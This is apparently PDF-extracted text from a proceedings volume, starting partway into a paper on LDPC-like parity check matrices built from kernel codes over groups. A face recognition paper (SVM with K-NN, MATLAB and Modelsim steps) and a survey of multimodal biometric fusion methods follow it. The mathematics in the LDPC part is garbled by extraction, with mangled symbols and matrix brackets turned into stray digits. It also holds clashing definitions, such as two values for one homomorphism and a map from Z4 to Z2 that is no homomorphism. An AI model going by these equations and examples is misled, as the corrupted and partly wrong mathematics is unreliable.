Kernel of Homomorphism.
2.2 Nonbinary Kernel Codes
Let Z2 and Z3 be the group of finite sets with elements Z2 = {0,1} and Z3 = {0,1,2}.
Nonbinary Kernel codes are obtained by Homomorphism of finite Z2 and Z3 groups
over Abelian group. Z2 is also an Abelian group defined over Addition Modulo 2
with 0 being identity element and binary operation +.
Consider Z2 ; Z3 Z2 ! Z2 be finite groups with homomorphisms li defined
as l1 ð0Þ ¼ 0; l1 ð1Þ ¼ 0; l2 ð0Þ ¼ 0; l2 ð1Þ ¼ 1; l2 ð2Þ ¼ 1 l3 ð0Þ ¼ 0; l3 ð1Þ ¼ 1.
The Cartesian products of above-defined finite groups are {000, 001, 010, 011,
020, 021, 100, 101, 110, 111, 120, 121}.
By applying the homomorphisms defined, we obtain {000, 011, 021, 100, 111,
121} as Kernel codes which satisfy the condition l1 ðg1 Þ þ l2 ðg2 Þ þ l3 ðg3 Þ ¼ 0.
Thus, obtained codes are nonbinary and form the Kernel of Homomorphism.
3 Construction of Binary and Nonbinary

LDPC Check Matrix
In this section, the proposed method of constructing binary and nonbinary LDPC
check matrices is discussed. Advantage of such construction is same methodology
that can be used to both binary and nonbinary LDPC check matrices as both are
sparse matrices and particular cases of proposed method. The cyclic shift is per-
formed equal to the number of information bits and thus LDPC check matrix can be
obtained.
Let G1 ; G2 ; G3 ; . . . Gn be groups and S be an Abelian group.
The Kernel of Homomorphism is defined as
lðg1 ; g2 ; g3 ; . . .; gn Þ ¼ l1 ðg1 Þl2 ðg2 Þl3 ðg3 Þ. . .ln ðgn Þ
where, li is a homomorphism from Gi ! S; i ¼ 1; 2; 3; . . .; n.

By taking any particular finite length instance of Kernel codes, we get
l1 ðg1 Þl2 ðg2 Þl3 ðg3 Þ. . .ln ðgn Þ, computing the values of homomorphisms and by
one-bit left cyclic shift of elements we obtain matrix of following type where
0 0
g1 ¼ l1 ðg1 Þ; g2 ¼ l2 ðg2 Þ and so on.
2 3
g10 g20 g30 : : : gn0
6 gn0 g10 g20 : : : gn10 7
6 7
6 gn10 gn0 g10 : : : gn20 7
6 7
6 : 7
6 7
6 : 7
6 7
4 : 5
gnk0 : : : : gn0 g10
The cyclic shift is performed equal to the number of the information bits and
thus LDPC check matrix can be obtained. By multiplying information bits with the
parity matrix, LDPC codes can be obtained.
3.1 Construction of Binary LDPC Check Matrix
Binary LDPC check matrix can be obtained by taking all finite groups
G1 ; G2 ; G3 ; . . . Gn as Z2 while selecting the particular instance of Kernel codes.
3.2 Construction of Nonbinary LDPC Check Matrix
Nonbinary LDPC check matrix can be obtained by taking finite groups

G1 ; G2 ; G3 ; . . . Gn as according to the requirement, for example, Z8 if the required
elements in the group are to be f0; 1; 2; 3; 4; 5; 6; 7g while selecting the particular
instance of Kernel codes. Depending on the requirement the finite group order can
be selected.
4 Construction of LDPC-like Codes from Proposed

Check Matrix
4.1 Binary LDPC-like Codes from Proposed Check Matrix
As stated before, binary LDPC check matrix can be obtained by taking any par-
ticular instance of Kernel codes. For example, consider the instance of Kernel code
obtained by following construction:
Z2 Z2 Z2 Z2 Z2 Z2 Z2 Z2 Z2 Z2 Z2 Z2 Z2 Z2 Z2
Z2 Z2 Z2 Z2 Z2 ! Z2 with homomorphisms defined as l1 ð0Þ ¼
0; l1 ð1Þ ¼ 1; l3 ð0Þ ¼ 0; l3 ð1Þ ¼ 1; l5 ð0Þ ¼ 0 l5 ð1Þ ¼ 1; l7 ð0Þ ¼ 0; l7 ð1Þ ¼ 1
and remaining homomorphisms be li ¼ 0 for i ¼ 2; 4; 6; . . .; 20.
An instance of such Binary Kernel code taken is
10101010000000000000
by one-bit left cyclic shift we obtain the parity matrix as follows which looks that of
irregular LDPC codes:
2 3
1 0 1 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0
60 1 0 1 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 07
6 7
60 0 1 0 1 0 1 0 1 0 0 0 0 0 0 0 0 0 0 07
6 7
60 0 0 1 0 1 0 1 0 1 0 0 0 0 0 0 0 0 0 07
6 7
60 0 0 0 1 0 1 0 1 0 1 0 0 0 0 0 0 0 0 07
6 7
60 0 0 0 0 1 0 1 0 1 0 1 0 0 0 0 0 0 0 07
6 7
60 0 0 0 0 0 1 0 1 0 1 0 1 0 0 0 0 0 0 07
6 7
60 0 0 0 0 0 0 1 0 1 0 1 0 1 0 0 0 0 0 07
6 7
60 0 0 0 0 0 0 0 1 0 1 0 1 0 1 0 0 0 0 07
6 7
60 0 0 0 0 0 0 0 0 1 0 1 0 1 0 1 0 0 0 07
6 7
40 0 0 0 0 0 0 0 0 0 1 0 1 0 1 0 1 0 0 05
0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 1 0 1 0 0
In the above matrix, there are 12 linearly independent rows. Dimension of such
code is 20−12 = 8, so the code is (20, 8) and the rate is given by R = 0.40.
4.2 Nonbinary LDPC-like Codes from Proposed

Check Matrix
Nonbinary LDPC check matrix can be obtained by taking any particular instance of
Kernel codes. For example, consider the instance of Kernel code obtained by
following construction:
Z4 Z3 Z2 Z5 Z7 Z9 Z3 Z4 Z5 Z6 ! Z2 with homomorphisms
defined for l1 ð2Þ ¼ 1; l2 ð1Þ ¼ 0; l1 ð2Þ ¼ 0; l3 ð1Þ ¼ 0; l4 ð3Þ ¼ 1; l5 ð4Þ ¼ 1;
l6 ð4Þ ¼ 1; l7 ð2Þ ¼ 0; l8 ð3Þ ¼ 0; l9 ð4Þ ¼ 0; l10 ð5Þ ¼ 0.
An instance of such Nonbinary Kernel code taken is
2113442345
which satisfies the condition of homomorphisms chosen and by one-bit left cyclic
shift of bits we obtain the parity matrix as follows which looks that of irregular
nonbinary LDPC codes:
2 3
2 1 1 3 4 4 2 3 4 5
65 2 1 1 3 4 4 2 3 47
6 7
64 5 2 1 1 3 4 4 2 37
6 7
63 4 5 2 1 1 3 4 4 27
6 7
42 3 4 5 2 1 1 3 4 45
4 2 3 4 5 2 1 1 3 4
There are 6 linearly independent rows. Dimension of such code is 10−6 = 4, so

the code is (10, 4) and the rate is given by R = 0.40.
5 Conclusions
The present paper defined a new method to construct LDPC-like parity check
matrix from Kernel codes over groups with examples. The construction is made
using Kernel of homomorphism defined over groups and could obtain code of rate
0.40. Linear block codes are usually constructed over complex algebraic structures
such as vector spaces, rings, etc. but in our method we have used simple algebraic
structure groups. Such construction not only reduces the complexity of constructing
codes but also helps in efficient implementation on hardware architectures using
linear shift registers or linear feedback shift registers. Also, it has been shown that
both binary and nonbinary LDPC-like parity check matrix can be obtained by the
proposed method as they are particular cases of proposed method.
As further scope, the present selection of instance of Kernel codes is random and
a metric can be defined for selecting such instances which in turn helps to increase
rate of codes.
Acknowledgments This work was partially supported by Indian Space Research Organization
through its grants ISRO/RES/3/645/2014-15.
References
1. Shannon, C.E.: A mathematical theory of communication. Bell Syst. Tech. J. 27(3), 379–423
(1948)
2. Hamming, R.W.: Error detecting and error correcting codes. Bell Syst. Tech. J. 29(2), 147–
160 (1950)
3. Berrou, C., Glavieux, A., Thitimajshima, P.: Near Shannon limit error-correcting coding and
decoding: Turbo-codes 1. In: IEEE International Conference on Communications, ICC ‘93
Geneva. Technical Program, Conference Record, vol. 2, 1064–1070 (1993)
4. Gallager, R.G: Low-density parity-check codes. IRE Trans. Inf. Theor. 8(1), 21–28 (1962)
5. Moon, T.K: Error Correction Coding, Mathematical Methods and Algorithms. John Wiley and
Son, New York (2005)
6. Iyengar, A.R, Paul, H.S., Jack, K.W.: LDPC codes for the cascaded BSC-BAWGN channel.
In: 47th IEEE Annual Allerton Conference on Communication, Control, and Computing,
Allerton, pp. 620–627 (2009)
7. Pishro-Nik, Hossein, Fekri, Faramarz: On decoding of low-density parity-check codes over the
binary erasure channel. IEEE Trans. Inf. Theor. 50(3), 439–454 (2004)
8. Lan, L., Zeng, L., Tai, Y.Y., Chen, L., Lin, S., Abdel-Ghaffar, K.: Construction of quasi-cyclic
LDPC codes for AWGN and binary erasure channels: a finite field approach. IEEE Trans. Inf.
Theor. 53(7), 2429–2458 (2007)
9. Sassatelli, L., Chilappagari, S.K., Vasic, B., Declercq, D.: Two-bit message passing decoders
for LDPC codes over the binary symmetric channel, arXiv preprint arXiv:0901.2090 (2009)
10. Bonello, N., Chen, S., Hanzo, L.: Construction of regular quasi-cyclic protograph LDPC codes
based on Vandermonde matrices. IEEE Trans. Veh. Technol. 57(4), 2583–2588 (2008)
11. Nguyen, D.V., Vasic, B., Marcellin, M.V., Chilappagari, S.K.: Structured LDPC codes from
permutation matrices free of small trapping sets. IEEE Inf. Theor. Workshop (ITW), 1–5
(2010)
12. Liva, G., Song, S., Lan, L., Zhang, Y., Lin, S., Ryan, W.E.: Design of LDPC codes: a survey
and new results. J. Commun. Softw. Syst 2(3), 191–211 (2006)
13. Djurdjevic, I., Xu, J., Abdel-Ghaffar, K., Lin, S.: A class of low-density parity-check codes
constructed based on Reed-Solomon codes with two information symbols. Algebraic
Algorithms and Error-Correcting Codes, Applied Algebra, pp. 98–107. Springer (2003)
14. Baldi, M., Cancellieri, G., Chiaraluce, F.: Array convolutional low-density parity-check codes.
IEEE Commun. Lett. 18(2), 336–339 (2014)
15. Tanner, R.M., Sridhara, D., Sridharan, A., Fuja, T.E, Costello, D.J.: LDPC block and
convolutional codes based on circulant matrices. IEEE Trans. Inf. Theor. 50(12), 2966–2984
(2004)
16. Johnson, S.: Low-density parity-check codes from combinatorial designs, PhD thesis, The
University of Newcastle (2004)
17. Johnson, S.J.: Introducing Low-Density Parity-Check Codes. University of Newcastle,
Australia (2006)
18. Richardson, T.J, Shokrollahi, M.A., Urbanke, R.L: Design of capacity-approaching irregular
low-density parity-check codes. IEEE Trans. Inf. Theor. 47(2), 619–637 (2001)
19. Ganepola, V.S., Carrasco, R.A., Wassell, I.J., Le Goff, S.: Performance study of non-binary
LDPC Codes over GF (q). In: 6th International Symposium on Networks and Digital Signal
Processing in Communication Systems, CNSDSP, pp. 585–589 (2008)
20. Selvakumar, R., Balasubramani, P.: Kernel code and its controllability. J. Discrete Math. Sci.
Crypt. 7(1), 97–101, Taylor & Francis (2004)
21. Selvakumar, R., Unconventional construction of DNA codes: group homomorphism.
J. Discrete Math. Sci. Crypt. 17(3), 227–237, Taylor & Francis (2014)
Simulation-Level Implementation of Face
Recognition in Uncontrolled Environment
Abstract Humans rely on their visual ability to perceive and analyze the visual
world. This ability if given to computers can yield scientific and relevant details
about the things around us. Recognizing face under uncontrolled environment is
still a challenging task, especially under head pose variation. Initially, the gesture
containing test input face is estimated; it is then transformed into a reference pose
which is already learnt. We have analyzed many existing available techniques for
recognizing face for different gestures and proposed a novel system using a com-
bination of support vector machine (SVM) and K-nearest neighbor (K-NN). The
system is implemented using MATLAB and simulated using Modelsim. It has been
tested on publicly available face databases under varying head poses. The proposed
model was trained by randomly selecting 10 images, each of 12 unique individuals,
thus 120 images were used for training. The system was then tested by considering
93 different poses of all the 12 unique individuals, thus 1116 images were used for
testing. A demo code, along with train images, test images, and results obtained
from the proposed system can be downloaded from http://goo.gl/S5ofYR.
Keywords Face recognition K-Nearest neighbor Support vector machine
1 Introduction
The problem of identifying a person through face in wide pose variation is mani-
fested in a variety of applications in which no control can be imposed on the
imaging view point [1, 2]. Although some remarkable approaches have been
S.L. Fernandes (&) G. Josemin Bala

Department Electronics and Communication Engineering,
Karunya University, Coimbatore, India
e-mail: steva_fernandes@yahoo.com
G. Josemin Bala
e-mail: josemin@karunya.edu

468 S.L. Fernandes and G. Josemin Bala
proposed in this area, it still remains an open challenge [3]. Identifying variations
because of pose is done by initially estimating and then transforming it into a
reference pose which is already learned [4–8]. Pose-invariant face recognition
includes subspace-based techniques which present nonlinearities into a 2D shape to
extract new poses [9,10]. View-based methods utilize a subset of shapes to dem-
onstrate appearance from a diverse view [11] and 3D model-based methods employ
a 3D model to present new face poses [12]. Section 2 describes the proposed system
in detail. Section 3 contains results and discussions, and Sect 4 draws the
conclusion.
To recognize faces we consider varying head poses using a combination of support

vector machines (SVM) [13] for feature extraction and k-nearest neighbors (K-NN)
[14] for classification on MATLAB 2013 and simulating it using Modelsim 6.3.
SVMs are a set of supervised learning methods used for feature extraction, which is
effective in high-dimensional spaces. K-NN is a classification technique which
estimates the result of the not known probability density function at a considered
point x.
Algorithm 1: Recognizing images under varying head poses using MATLAB

STEP 1: START
STEP 2: Set path of folder having TRAIN images
STEP 3: Read the image from TRAIN folder
STEP 4: Find the head pose angle (angle of position of head) of the read image
STEP 5: Check the dimensions of image (length x breadth)
STEP 6: If the image is 3D then convert the RGB to gray image
STEP 7: Pass the image through Sobel filter for edge detection
STEP 8: Save the data of both original and filtered images in the form of matrix
STEP 9: Display both input and filtered image
STEP 10: Set path of folder having TEST images
STEP 11: Fetch the TEST image
STEP 12: Check the dimensions of the image
STEP 13: If 3D images convert RGB to grey image in case of
STEP 14: Match the features of TEST image with features of TRAIN images
STEP 15: Display TEST image
STEP 16: Apply Nearest Neighbor method (KNN) and Support Vector Methods
(SVM)
STEP 17: Display whether the TEST and TRAIN images match and assign
‘MATCH’ and ‘NO MATCH’ statements
STEP 18: Calculate TRAIN and TEST images using both the KNN and SVM
classifiers and display the results
STEP 19: Plot the graphs for KNN and SVM
STEP 20: Plot Receivers Operating Characteristic (ROC) for KNN and SVM
STEP 21: END
Simulation-Level Implementation of Face Recognition … 469
Algorithm 2: Simulation of proposed technique using Modelsim

STEP 1: START
STEP 2: Consider input and output registers
Input [15:0] im11, im12, im13, im21, im22, im23, im31, im32, im33,
im11t, im12t, im13t, im21t, im22t, im23t, im31t, im32t, im33t
Output [15:0] dx_out, dy_out, dxy
Output data_occur, dx_out_sign, dy_out_sign
STEP 3: Initialize - clock, reset and start signals
STEP 4: Check if data (image) has occured
if ( data_occur = 1); // if image has occurred or fetched
reg_add = dx_out + dy_out;
else
reg_out = 0;
end
STEP 5: Solve the below equations
dxy = reg_add;
dx_out = temp3x;
dx_out_sign = temp3x_sign;
temp1x = ( im11t + ( im21t << 1) + im31t );
temp2x = ( im13t + ( im23t << 1) + im33t);
STEP 6: Check if ‘temp1x’ is greater than ‘temp2x’ or vise-versa
if ( temp1x > temp2x )
temp3x = temp1x – temp2x;
temp3x_sign = 1;
end
if ( temp2x > temp1x)
temp3x = temp2x – temp1x;
temp3x_sign = 0;
else
temp3x = 0;
temp3x_sign = 0;
end
STEP 7: Solve the below equations
dy_out = temp3y;
dy_out_sigm = temp3y_sign;
temp1y = (im11t + (im21t << 1) + im31t);
temp2y = (im13t + (im23t << 1)> + im33t);
STEP 8: Operation when ‘temp1y’ is greater than ‘temp2y’
if (temp1y > temp2y )
temp3y = temp1y – temp2y;
temp3y_sign = 1;
end
STEP 9: Operation when ‘temp2y’ is greater than ‘temp1y’
if ( temp2y > temp1y )
temp3y = temp2y – temp1y;
temp3y_sign = 0;
else
temp3y = 0;
temp3y_sign = 0;
end
STEP 10: Perform clock operations
At Positive edge of clock
if ( reset = 1 )
Set all register values and data occur to zero;
end
if ( start = 1 )
Save the value of registers into its temporary registers and
make data_occur as 1;
else
Set all the register values and data_occur to zero;
end
STEP 11: END
3 Results and Discussions
For analysis of the proposed system we considered 12 unique individuals each

having 93 different poses, totally 1116 images of Head Pose Image Database. The
proposed model was trained by randomly selecting 10 images each of 12 unique
individuals; so 120 images were used for training. The system was then tested by
considering 93 different poses of all the 12 unique individuals. 1116 images were
used for testing. We used the combination of SVM and K-NN and methods for
classification and recognition of faces under varying poses. Sample input image and
test image is shown in Fig. 1. A demo code, along with train images, test images,
and results obtained from the proposed system can be downloaded from http://goo.
gl/S5ofYR.
After performing recognition on 1116 test images of Head Pose Variation
Database, the recognition rate obtained using MATLAB is shown in Fig. 2.
Fig. 1 Sample input image and matched image taken obtained from the proposed system
Fig. 2 Recognition rate obtained using MATLAB from the proposed system after performing
recognition on 1116 images of head pose variation database
Simulation-Level Implementation of Face Recognition … 471
Fig. 3 Simulation output obtained from the proposed system using modelsim
The simulation output obtained from the proposed system using Modelsim is
shown in Fig. 3.
4 Conclusion
We have analyzed the existing and available techniques for recognizing face under
different poses [15–16]. From our analysis we have found that recognizing face
under varying poses is still a challenging task, so we proposed a novel system
combining support vector machine (SVM) and K-nearest neighbor (K-NN). SVM
are a set of supervised learning methods used for feature extraction, which is
effective in high-dimensional spaces. K-NN is a classification technique which
estimates the amount of the not known probability density function at user given
point x. It has been tested on publicly available database: Head Pose Image
Database. The proposed model was trained by randomly selecting 10 images each
of 12 unique individuals, thus 120 images were used for training. The system was
then tested by considering 93 different poses of all the 12 unique individuals, thus
1116 images were used for testing. Face recognition rate of 99.25 % was obtained.
Acknowledgments The proposed work was made possible because of the grant provided by Vision
Group Science and Technology (VGST), Department of Information Technology, Biotechnology and
Science and Technology, Government of Karnataka, Grant No. VGST/SMYSR/GRD-402/2014-15
and the support provided by Department of Electronics and Communication Engineering, Karunya
University, Coimbatore, Tamil Nadu, India.
References
1. Murphy-Chutorian, E., Trivedi, M.M.: Head pose estimation in computer vision: a survey.
IEEE Trans. Pattern Anal. Mach. Intell. 31(4), 607–626 (2009)
2. Tolba, A.S., El-Baz, A.H., El-Harby, A.A.: Face recognition: a literature review. Int. J. Signal
Proc. 2(2), 88–103 (2006)
3. Zhang, X., Gao, Y.: Face recognition across pose: a review. Patt. Recogn. 42(11), 2876–2896
(2009)
4. Lee, H.S., Kim, D.: Generating frontal view face image for pose invariant face recognition. PR
Lett. 27(7), 747–754 (2006)
5. Zhao, S., Gao, Y.: Automated face pose estimation using elastic energy models. 18th ICPR, 4,
618–621 (2006)
6. Gong, S. McKenna, S., Collins, J.J.: An investigation into face poses distributions. In: FG.
pp. 265 (1996)
7. Gründig, M., Hellwich, O.: 3D Head Pose Estimation with Symmetry Based Illumination
Model in Low Resolution Video, pp. 45–53. DAGM, LNCS (2004)
8. Cootes, T.F., Walker, K., Taylor, C.J.: View-based active appearance models. In: Proceedings
of the Fourth IEEE International Conference Automatic Face and Gesture Recognition,
pp. 227–232 (2000)
9. Balasubramanian, V.N., Krishna, S., Panchanathan, S.: Person-independent head pose
estimation using biased manifold embedding. EURASIP J. Adv. Signal Process. pp. 1–15
(2008)
10. Sharma, A., Haj, M.A., Choi, J., Davis, L.S., Jacobs, D.W.: Robust pose invariant face
recognition using coupled latent space discriminant analysis. Comp. Vis. Image Under. 116,
1095–1110 (2012)
11. Zhang, H., Nasrabadi, N.M., Zhang, Y., Huang, T.S.: Joint dynamic sparse representation for
multi-view face recognition. Pattern Recognit. 45, 1290–1298 (2012)
12. Fernandes, S.L., Josemin Bala, G.: 3D and 4D face recognition: a comprehensive review.
Recent Pat. Eng. 8(2), 112–119 (2014)
13. Fernandes, S.L., Josemin Balam, G.: Development and analysis of various state of the art
techniques for face recognition under varying poses. Recent Pat. Eng. 8(2), 143–146 (2014)
14. Fernandes, S.L., Josemin Bala, G.: Recognizing faces when images are corrupted by varying
degree of noises and blurring effects. Adv. Intell. Syst. Comput. 337(1), 101–108 (2015)
15. Fernandes, S.L., Josemin Bala, G.: Low power affordable: efficient face detection in the
presence of various noises and blurring effects on a single-board computer. Adv. Intell. Syst.
Comput. 337(1), 119–127 (2015)
16. Fernandes, S.L., Josemin Bala, G.: Recognizing facial images in the presence of various noises
and blurring effects using gabor wavelets, DCT-neural network, hybrid spatial feature
interdependence matrix. In: 2nd IEEE International Conference on Devices, Circuits and
Systems (2014)
Analyzing State-of-the-Art Techniques
for Fusion of Multimodal Biometrics
Abstract Multimodal systems used for face recognition can be broadly classified
into three categories: score level fusion, decision level fusion, and feature level
fusion. In this paper, we have analyzed the performance of the three categories on
various standard public databases such as Biosecure DS2, FERET, VidTIMIT,
AT&T, USTB I, USTB II, RUsign, and KVKR. From our analysis, we found that
score level fusion approach can effectively fuse multiple biometric modalities, and
is robust to operate in less constrained conditions. In the decision fusion scheme,
each decision is made after the improvement of the classifier confidence hence the
recognition rate obtained is less compared to score level fusion. Feature level fusion
requires less information and performs better than decision level fusion, but its
recognition rate is less compared to score level fusion.
Keywords Multimodal biometrics Score level fusion Decision level fusion

Feature level fusion
1 Introduction
Nowadays, people demand for more secured systems and security has become a
prime factor [1–14]. Unimodal systems are found to be not very efficient to rec-
ognize under uncontrolled environment. This has raised the need for more secure
system using multimodal biometrics. Multimodal fusion techniques can be broadly
S.L. Fernandes (&) G. Josemin Bala

Department Electronics and Communication Engineering,
Karunya University, Coimbatore, India
e-mail: steva_fernandes@yahoo.com
G. Josemin Bala
e-mail: josemin@karunya.edu

classified into three categories: Score level fusion [15], decision level fusion [16],
and feature level fusion [17]. Section 2 describes multimodal fusion techniques,
Sect. 3 contains the Result and Discussion and Sect. 4 draws the Conclusion.
2 Multimodal Fusion Techniques
Multimodal fusion techniques are usually classified as: score level fusion [15],
decision level fusion [16], and feature level fusion [17].
2.1 Score Level Fusion
Authors in [15] describe taking advantage of the uncertainty concept of the

Dempster-Shafer theory; unified framework for multimodal biometric fusion is
developed by improving the performance of multibiometric authentication systems.
Uncertainty factors affect the recognition performance of the biometric systems.
Modeling uncertainty helps to address the confidence of the fusion outcome and
uncertainty of data. To improve the fusion a combination of classifier performance
and quality measures is proposed to encode the uncertainty concept. Quality
measures contribute unequally to recognize performance. Hence, only significant
factors are fused with the Dempster-Shafer approach to generate an overall quality.
In the success of uncertainty, modeling score plays an important role. In this
approach multiple biometric modalities can be effectively fused, and the approach is
robust to variations in classifier accuracy and quality, and enables multimodal
biometric systems to operate in less constrained conditions [15]. The authors in [15]
claim that their proposed approach can effectively fuse multiple biometric modal-
ities, hence it is robust to variations in quality and classifier accuracy, and can
enable multibiometric systems to operate in less constrained conditions.
2.2 Decision Level Fusion
Authors in [16] describe decision level fusion for the multimodal biometric system
using social network analysis (SNA). Problems like classifier selection, dimen-
sionality reduction, and aggregated decision making can be sought out by
employing the decision fusion using SNA. Based on the similarity and correlation
of features, among the classes, social networks are constructed. Fisher Linear
Discriminant Analysis is used by the authors in [16] as feature extractors to reduce
the dimension and to identify significant features. Based on the two levels of
decision fusion methods final classification result is generated. When SNA is
employed, it reduces the false acceptance rate (FAR) for both single biometric traits
Analyzing State-of-the-Art Techniques for Fusion … 475
and multimodal biometrics. Each decision is made after the improvement of the
classifier confidence in the decision fusion scheme [16]. Authors in [16] claim that
the method reduces the FARs for both single and multimodal biometric traits when
the SNA is employed. In case of the decision fusion scheme, each decision is made
after the improvement of the classifier confidence.
2.3 Feature Level Fusion
Authors in [17] consider two biometric traits, i.e., finger-knuckle and finger-nail
obtained by the single scan of dorsum hand. In this approach, a combination of
finger-knuckle and finger-nail features is considered. The finger-nail biometric is
considered as a unique biometric trait using Mel Frequency Cepstral Coefficient
(MFCC) technique, finger-knuckle features are extracted and from second level
wavelet decomposition the features of finger-nail are extracted. These features are
combined using feature level fusion and classified using feedforward backpropa-
gation neural network. Authors in [17] claim feature level fusion require less
information to perform the recognition.
3 Result and Discussions
Multimodal fusion techniques: Score level fusion, decision level fusion, and feature
level fusion are analyzed considering standard public databases: Biosecure DS-2
[18], FERET [19], VidTIMIT [20], AT&T [21] whose details of the databases are
tabulated in Table 1 and standard public databases: USTB I [22], USTB II [22],
RUSign, KVKR whose details of the databases are tabulated in Table 2.
Table 1 Details of the databases Biosecure DS-2, FERET, VidTIMIT, AT&T considered for
analyses of multimodal biometrics
Properties Biosecure DS-2 FERET [19] VidTIMIT [20] AT&T [21]
[18]
No. of 126 1199 43 40
subjects
No. of 206 14,051 43 400
images/videos
Static/Videos Static Static Video Static
Gray/Color Four grayscale Eight-bit grayscale 256-bit grayscale Eight-bit
grayscale
Resolution 296 * 560 256 * 384 512 * 384 92 * 112
Facial Still face Slight facial Lip reading is done Smiling/not
expression expression changes automatically smiling
Illumination Various lighting Controlled Uncontrolled N/A
conditions illumination illumination
Table 2 Details of the databases USTB I, USTB II, RUSign, KVKR considered for analyses of
multimodal biometrics
Properties USTB I [22] USTB II [22] RUsign KVKR
No. of subjects 60 77 50 100
No. of 180 308 500 600
images/videos
Static/Videos Static Static Static Static
Gray/Color Three grayscale Three 300 * 400 N/A Color
grayscale
Resolution High High 100*100 640*480
Illumination Various lighting Various lighting N/A N/A
condition condition
The recognition rate obtained by score level fusion, decision level fusion, and
feature level fusion on databases: Biosecure DS-2 [18], FERET [19], VidTIMIT
[20], AT&T [21], USTB I [22], USTB II [22], RUsign [23], KVKR [24] are
tabulated in Table 3.
Table 3 Recognition rate obtained using score level fusion, decision level fusion, and feature
level fusion
Author Method Database Recognition Remarks
rate
Score Level Fusion
Nguyen Uses uncertainty Biosecure 100 % This approach can
et al. concept of Dempster– DS2 effectively fuse
[15] Shafer theory multiple biometric
modalities, and this
approach is robust to
operate in less
constrained
conditions
Decision Level Fusion
Paul Decision fusion Using FERET, 92 % This approach can
et al. SNA VidTIMIT, (Average of effectively reduce the
[16] AT&T, all the FARs for both single
USTB I, databases and multimodal
USTB II, considered) biometrics traits
RUSign when SNA is
employed
Feature Level Fusion
Kale Feature extraction KVKR 97 % Feature level fusion
et al. using mel frequency and feedforward
[17] cepstral coefficient backpropagation are
technique and fusion combined
performed using
scores
Analyzing State-of-the-Art Techniques for Fusion … 477
4 Conclusion
Multimodal systems generally used for face recognition [23–30] can be broadly
classified into three categories: Score level fusion, decision level fusion, and feature
level fusion. In this paper, we have analyzed the performance of score level fusion,
decision level fusion, and feature level fusion on various standard public databases,
such as Biosecure DS-2, FERET, VidTIMIT, AT&T, USTB I, USTB II, RUsign
and KVKR. From our analysis, we have found that score level fusion approach can
effectively fuse multiple biometric modalities, and it is robust to operate in less
constrained conditions. Furthermore, score level fusion obtains very accurate per-
formance close to 100 % by restricting the system to accept only high-quality data.
In the decision fusion scheme, each decision is made after the improvement of the
classifier confidence and hence, the recognition rate obtained is less compared to
score level fusion. Feature level fusion requires less information and performs better
than decision level fusion, but its recognition rate is less compared to score level
fusion. Thus, we conclude that score level fusion is the best fusion technique to
recognize images under multimodal biometrics
Acknowledgments The proposed work was made possible because of the grant provided by
Vision Group Science and Technology (VGST), Department of Information Technology,
Biotechnology and Science and Technology, Government of Karnataka, Grant
No. VGST/SMYSR/GRD-402/2014-15 and the support provided by Department of Electronics
and Communication Engineering, Karunya University, Coimbatore, Tamil Nadu, India.
References
1. Prabhakar, S., Pankanti, S., et al.: Biometric recognition security and privacy concerns. IEEE
Secur. Priv. 1(2), 33–42 (2003)
2. Jain, A.K., Flynn, P., et al.: Handbook of Biometrics. Springer, New York (2007)
3. Down, M.P., Sands, R.J.: Biometrics: an overview of the technology, challenges and control
considerations. Inf. Syst. Control J. 4, 53–56 (2004)
4. Ross, A., Govindarajan, R.: Feature level fusion using hand and face biometrics. In:
Proceedings of the SPIE 2nd Conference Biometric Technology Human Identification,
Orlando, USA, pp. 196–204 (2004)
5. Chang, K., Bower, K.W., et al.: Comparison and combination of ear and face images in
appearance-based biometrics. IEEE Trans. Pattern Anal. Mach. Intell. 25(9), 1160–1165
(2003)
6. Marcialis, G.L., Roli, F.: Fingerprint verification by fusion of optical and capacitive sensors.
Pattern Recognit. Lett. 25(11), 1315–1322 (2004)
7. Ross, A., Jain, A.K.: Information fusion in biometrics. Patter Recognit. Lett. 24(13), 2115–
2125 (2003)
8. Kinnunen, T., Hautamäki, V., et al.: Fusion of spectral feature sets or accurate speaker
identification. In: Proceedings of the 9th Conference Speech Computer, pp. 361–365 (2004)
9. Ross, A., Jain, A.: Information fusion in biometrics. Pattern Recogn. Lett. 24, 2115–2125
(2003)
10. Yang, F., Ma, B.: A new mixed-mode biometrics information fusion based-on fingerprint:
hand-geometry and palm-print. In: Proceedings of the IEEE Conference Image Graph,
pp. 689–693 (2007)
11. Cui, J., Li, J.P., et al.: Study on multibiometric feature fusion and recognition model. In:
Proceedings of the IEEE Conference Apperceiving Computing and Intelligence Analysis
pp. 66–69 (2008)
12. Dahel, S.K., Xiao, Q.: Accuracy performance analysis of multimodal biometrics. Information
Assurance Workshop, IEEE Systems Man and Cybernetics Society, pp. 170–173 (2003)
13. Ross, A., Nandakumar, K., et al.: Handbook of Multibiometrics. Springer, Germany (2006)
14. Ross, A., Nandakumar, K., et al.: Handbook Of Multibiometrics. Springer, USA (2011)
15. Nguyen, K., Denman, S., et al.: Score-level multibiometric fusion based on dempster–shafer
theory incorporating uncertainty factor. IEEE Trans. Hum. Mach. Syst. 45(1) (2015)
16. Paul, P.P., Gavrilova, M.L., et al.: Decision fusion for multimodal biometrics using social
network analysis. IEEE Trans. Syst. Man Cybern. Syst. 44(11) (2014)
17. Kale, K.V., Rode, Y.S., et al.: Multimodal biometric system using fingernail and finger
knuckle (2013)
18. Score-level Fusion: http://personal.ee.surrey.ac.uk/Personal/Norman.Poh/web/fusionq/main.
php?bodyfile=entry_page.html
19. The Facial Recogniton Technology Database: http://www.itl.nist.gov/iad/humanid/feret/feret_
master.html
20. Vid TIMIT Database: http://conradsanderson.id.au/vidtimit/
21. Face Recognition: http://www.cl.cam.ac.uk/research/dtg/attarchive/facedatabase.html
22. D Database: http://www1.ustb.edu.cn/resb/en/doc/Imagedb_123_intro_en.pdf
23. Fernandes, S.L., Josemin Bala, G.: 3D and 4D face recognition: a comprehensive review.
Recent Pat. Eng. 8(2), 112–119 (2014)
24. Fernandes, S.L., Josemin Bala, G.: Development and analysis of various state of the art
techniques for face recognition under varying poses. Recent Pat. Eng. 8(2), 143–146 (2014)
25. Fernandes, S.L., Josemin Bala, G.: Recognizing faces when images are corrupted by varying
degree of noises and blurring effects. Adv. Intell. Syst. Comput. 337(1), 101–108 (2015)
26. Fernandes, S.L., Josemin Bala, G.: Low power affordable, efficient face detection in the
presence of various noises and blurring effects on a single-board computer. Adv. Intell. Syst.
Comput. 337(1), 119–127 (2015)
27. Fernandes, S.L., Josemin Bala, G.: Recognizing facial images in the presence of various noises
